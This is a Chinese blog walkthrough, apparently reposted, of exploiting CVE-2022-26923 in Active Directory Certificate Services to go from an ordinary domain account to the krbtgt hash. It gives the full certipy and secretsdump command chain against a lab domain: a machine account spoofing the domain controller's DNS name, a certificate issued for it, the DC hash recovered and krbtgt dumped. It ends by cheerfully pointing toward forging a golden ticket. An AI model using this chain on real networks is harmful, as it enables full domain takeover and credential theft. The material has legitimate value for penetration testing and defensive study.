其他分享
首页 > 其他分享> > CVE-2022-26923 从普通域账户到Krbtgt

CVE-2022-26923 从普通域账户到Krbtgt

作者:互联网

靶机环境搭建

靶机域控安装证书服务关键

攻击过程

漏洞信息收集

certipy find -debug -u zhangsan@sec.com -p "zs1234567890*" -dc-ip 172.16.125.156

注册机器账号

certipy account create -u "zhangsan@sec.com" -p "zs1234567890*" -dc-ip 172.16.125.156 -user "machinetestcymm" -dns "dc01.sec.com" -debug

注册机器账号证书

sudo certipy req -u "machinetestcymm$" -p "rFQeKXLCmmDQ5MuZ" -dc-ip 172.16.125.156 -ca sec-dc01-ca -template Machine -debug

获取机器账号NTLM-Hash

certipy auth -pfx dc01.pfx -dc-ip 172.16.125.156 -debug

获取Krbtgt的NTLM-Hash

python secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:69eb46ed2b60a1c81bcc9fb09ffe9cfc "sec.com/dc01\$@172.16.125.156"  -just-dc-user krbtg

后记

然后该做啥大家应该都清楚了吧,哈哈哈哈,黄金票据啊直接上。

原理

默认情况下:

这两个证书模板都允许客户端身份验证。当用户账户申请 User 模板证书时,使用UPN(用户名@AD域名)这个唯一ID嵌入到证书中以进行识别,User 证书模板的 msPKI-Certificate-Name-Flag 属性存在一个 CT_FLAG_SUBJECT_ALT_REQUIRE_UPN 标志位,其指示 CA 将来自 Active Directory 中请求者用户对象的 UPN 属性值(用户名@AD域名)添加到已颁发证书的主题备用名称中。

而Machine证书模板没有UPN属性,但Machine证书模板的 msPKI-Certificate-Name-Flag 属性还存在一个 CT_FLAG_SUBJECT_ALT_REQUIRE_DNS标志位,其指示 CA 将从 Active Directory 中请求者用户对象的 DNS 属性获得的值添加到已颁发证书的主题备用名称中。

而这个dNSHostName属性值并不唯一,通过User用户创建Machine账户,将Machine账户(具有写入权限)的dNSHostName值改为与域控制器的计算机账户相同的dNSHostName值,欺骗AD CS申请到域控制器的AD证书。但SPN属性具有唯一性,它包含dNSHostName,如果dNSHonstName发生改变会带动servicePrintcipalName的RestrictedKrbHost和Host发生改变,由于唯一性会发生报错,所以想要漏洞完成漏洞要删除账户中的servicePrincipalName属性值。

参考链接

标签:证书,Krbtgt,125.156,Machine,2022,172.16,CVE,模板,属性
来源: https://www.cnblogs.com/KevinGeorge/p/16598187.html